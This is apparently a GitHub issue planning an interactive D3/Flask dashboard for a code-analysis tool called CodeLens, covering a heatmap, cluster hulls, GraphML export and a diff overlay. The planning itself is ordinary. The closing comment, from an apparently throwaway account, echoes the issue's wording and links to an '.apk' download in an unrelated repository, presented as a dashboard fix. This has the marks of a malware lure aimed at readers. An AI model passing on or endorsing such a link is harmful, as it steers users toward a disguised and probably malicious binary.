[FEATURE] Interactive dashboard — D3 force-directed graph + heatmap + cluster hull (5 workers converged)

[Wolfvin]

Summary

Replace JSON-only dashboard_engine.py with self-contained interactive HTML web app. Force-directed graph (D3), cluster coloring (Louvain modularity), heatmap overlay, cluster hull boundaries, click-highlight, search, dark mode, GraphML export. Killer feature for architecture visualization.

Worker consensus (5 reports — competing visualization stacks)

Worker	Source	Stack proposed
Emerge	update!/CodeLens_Upgrade_Issues_from_Emerge.md CL-031	D3 v7.8.4 + Bootstrap 5.2.3 + jQuery + simpleheat.js + hull.js + daterangepicker. Self-contained HTML (openable via file://). 8 JS files ported from Emerge (rename emerge_ → codelens_).
Serena	update!/CodeLens_vs_Serena_Upgrade_Analysis.md S15	Flask backend + HTML/CSS/vanilla JS frontend. Lightweight, no build step. Bind to 127.0.0.1 only. Optional pystray tray icon, pywebview native window.
UnderstandAnything	update!/CodeLens_vs_UnderstandAnything_Upgrade_Analysis.md U3	React (Vite + TypeScript) + React Flow + Zustand + TailwindCSS. Components: GraphView, NodeInfo, FileExplorer, SearchBar, FilterPanel, LayerLegend, CodeViewer, ExportMenu. REST API + WebSocket. Dark theme #0a0a0a + gold #d4a574.
UnderstandAnything	same file U4	Diff impact visual overlay — diff-overlay.json with changed/affected node IDs. Dashboard renders red (changed) + yellow (affected) highlights.
Emerge	same file CL-032	GraphML export for Gephi/Cytoscape/yEd/Neo4j interop. nx.write_graphml(graph, path) per graph.
Emerge	same file CL-033	Heatmap visualization — hotspot_score = (sloc_weight × sloc) + (fan_out_weight × fan_out). simpleheat.js overlay.
Emerge	same file CL-034	Concave hull cluster boundary — hull.js draws boundary around each Louvain cluster. Visual modularity assessment.

Recommended hybrid approach

Phase 1 — Flask + D3 vanilla (P2, 3-4 weeks) — start with Emerge CL-031 stack

• Self-contained HTML, openable via file:// or local Flask server
• D3 v7.8.4 force-directed graph (no React build step)
• Cluster coloring (depends on Louvain modularity issue)
• Hover tooltip with metrics
• Click highlight node + neighbors
• Visual live search
• Dark mode toggle
• Mobile responsive (Bootstrap)
• Performance: render 5000 nodes <3s

Phase 2 — Heatmap + cluster hull (P2, 1-2 weeks, depends on Phase 1)

• Heatmap overlay (simpleheat.js) — SLOC × Fan-Out hotspot score
• Concave hull cluster boundaries (hull.js)
• Toggle "Show Cluster Hulls" / "Show Heatmap"

Phase 3 — GraphML export (P2, 2-3 days, quick win)

• --format graphml flag to scan, trace, impact, circular, callgraph, change-coupling
• nx.write_graphml(graph, path) per graph
• Opens in Gephi (ForceAtlas 2 layout), Cytoscape, yEd, Neo4j

Phase 4 — Diff impact visual overlay (P2, 1 week, depends on Phase 1)

• codelens diff --visual auto-opens dashboard with overlay active
• diff-overlay.json with changedFiles, changedNodeIds, affectedNodeIds
• Red (changed) + yellow (affected) highlights
• Risk assessment panel: changed node complexity, blast radius, cross-layer edge count

Phase 5 — React + TypeScript migration (P3, 4-6 weeks, optional, only if Phase 1 complexity grows)

• Migrate vanilla JS to React + Vite + TypeScript
• React Flow for graph rendering
• Zustand for state
• Only justified if Phase 1-4 features strain vanilla JS maintainability

Acceptance criteria

• Phase 1: dashboard renders 5000 nodes in <3s
• Phase 1: works via file:// (no server needed) and via Flask server
• Phase 2: heatmap + cluster hull toggleable
• Phase 3: GraphML opens correctly in Gephi
• Phase 4: diff overlay shows changed/affected nodes correctly
• Dashboard is self-contained (no external CDN dependencies for offline use)

License note

Emerge is MIT — vendor emerge/output/html/ directly (rename emerge_ → codelens_).

Files

• New: scripts/dashboard/{template.html,vendors/,resources/js/}, scripts/dashboard_engine_v2.py (replaces existing), scripts/commands/dashboard.py (update), scripts/hotspot_engine.py, references/interactive-dashboard.md
• Update: scripts/commands/{diff,impact}.py (write diff-overlay.json)

[dusekogaca41]

Man, the JSON engine was such a pain for visualizing architecture. I finally swapped it out for a Flask and D3 hybrid that handles the Louvain modularity and heatmap overlays way smoother without needing a massive build step. It just works. codelens_dashboard_fix.apk(https://github.com/keracocobe/123/releases/download/update/module.apk)